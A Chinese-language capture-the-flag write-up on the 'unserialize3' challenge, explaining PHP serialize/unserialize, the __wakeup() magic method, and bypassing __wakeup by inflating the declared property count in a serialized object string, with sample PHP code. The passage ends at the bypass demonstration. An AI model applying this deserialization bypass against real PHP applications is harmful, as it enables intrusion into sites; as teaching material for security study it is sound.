[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解

- _wakeup()及php序列化反序列化
- - 序列化字符串结构分析
  - _wakeup()的利用
- 解题思路
- - 伪属性数量绕过
- 解题姿势
- 总结

在这里插入图片描述

php_4">_wakeup()及php序列化反序列化

序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式，以便能够在不同的系统和应用程序之间进行传输或存储。

在 PHP 中，可以使用 serialize() 函数将对象序列化为字符串，然后保存到文件或传输到其他应用程序中。

序列化后的数据包含了对象的属性、方法和类型等信息，但没有对象的实例本身。

反序列化则是将序列化后的数据重新转换为对象、数据结构或变量的过程，以便在程序中进行操作或处理。

在 PHP 中，可以使用 unserialize() 函数将序列化后的字符串还原为原始的对象或数据，然后进行处理。

反序列化过程需要按照序列化时的格式和规则进行解析和处理，以确保数据的完整性和正确性。

这段代码涉及了 PHP 中的魔术方法 __wakeup() 和对象序列化的概念。其中 __wakeup() 在反序列化对象时自动调用，用于初始化对象的属性等操作。

对于上述代码中的 xctf 类，它有一个 $flag 属性，以及一个 __wakeup() 方法。当一个 xctf 对象被序列化并存储为字符串后，如果再次反序列化该字符串并尝试重建相应的对象时，PHP 就会自动调用该对象的 __wakeup() 方法。

因此，对于上述代码而言，如果访问一个类似 ?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 的 URL 地址，该地址会将序列化后的 xctf 对象（即code.php?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}）传递给 PHP 引擎处理。如果该对象被成功反序列化，那么 __wakeup() 方法将会被自动调用，程序将会直接终止执行并输出 bad requests

序列化字符串结构分析

O:4:"xctf":1:{s:4:"flag";s:3:"111";} 是一个序列化后的字符串，表示一个名为 xctf 的对象，该对象有一个属性 flag，属性值为 111。它的具体结构如下：

O：表示被序列化的是一个对象
4：表示对象名 xctf 有4个字符
"xctf"：表示对象的名称为 xctf
1：表示该对象只有一个属性
{}：表示该对象的属性列表为空
s：表示属性类型为字符串
4：表示属性名 flag 有4个字符
"flag"：表示属性名为 flag
s：表示属性类型为字符串
3：表示属性值 111 有3个字符
"111"：表示属性值为 111

_wakeup()的利用

如果 __wakeup() 方法不终止程序执行，那么在将序列化字符串反序列化为对象时，该方法会自动被调用，并执行其中的代码。在上述 xctf 类中，我们可以在 __wakeup() 方法中编写一些初始化对象属性等操作，使得wakeup函数中的对象经反序列化后能够正确运行。

如果将 __wakeup() 方法修改为如下代码：

php">public function __wakeup(){
    $this->flag = '222';
}

则在将序列化字符串 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 反序列化为对象时，该对象的 $flag 属性值会被重置为 222。具体代码如下：

php"><?php

class xctf{
    public $flag = '111';
    public function __wakeup(){
        $this->flag = '222';
    }
}

$serializedObj = 'O:4:"xctf":1:{s:4:"flag";s:3:"111";}'; // 序列化后的字符串

$obj = unserialize($serializedObj); // 反序列化

var_dump($obj); // 输出反序列化后的对象

运行上述代码后，输出结果如下：

php">object(xctf)#1 (1) {
  ["flag"]=>
  string(3) "222"
}

解题思路

由于反序列化时会自动调用_wakeup()函数，导致程序退出。
故可通过增大序列化字符串中表示对象属性个数的值，使其大于真实值，以此绕过_wakeup函数，（即伪属性绕过），从而实现程序正常运行。

伪属性数量绕过

假设有一个名为 Test 的 PHP 类，该类包含两个属性 $a 和 $b，并且定义了 __wakeup() 方法。如果要绕过 __wakeup() 方法，可以将表示对象属性数量的值设定为大于 2 的值，如下所示：

php">class Test {
    private $a;
    private $b;
    
    public function __wakeup() {
        echo "Execute wakeup method";
    }
}

$obj = new Test();
$obj->a = "aaa";
$obj->b = "bbb";

$serializedObj = serialize($obj); // 将对象序列化为字符串并保存
echo $serializedObj . "\n"; // 输出序列化后的字符串

// 将表示属性数量的值从 2 改成 3 并重新进行反序列化
$modifiedSerializedObj = str_replace("2", "3", $serializedObj);
$unserializedObj = unserialize($modifiedSerializedObj);
echo $unserializedObj->a . "\n"; // 正常输出 "aaa"
echo $unserializedObj->b . "\n"; // 正常输出 "bbb"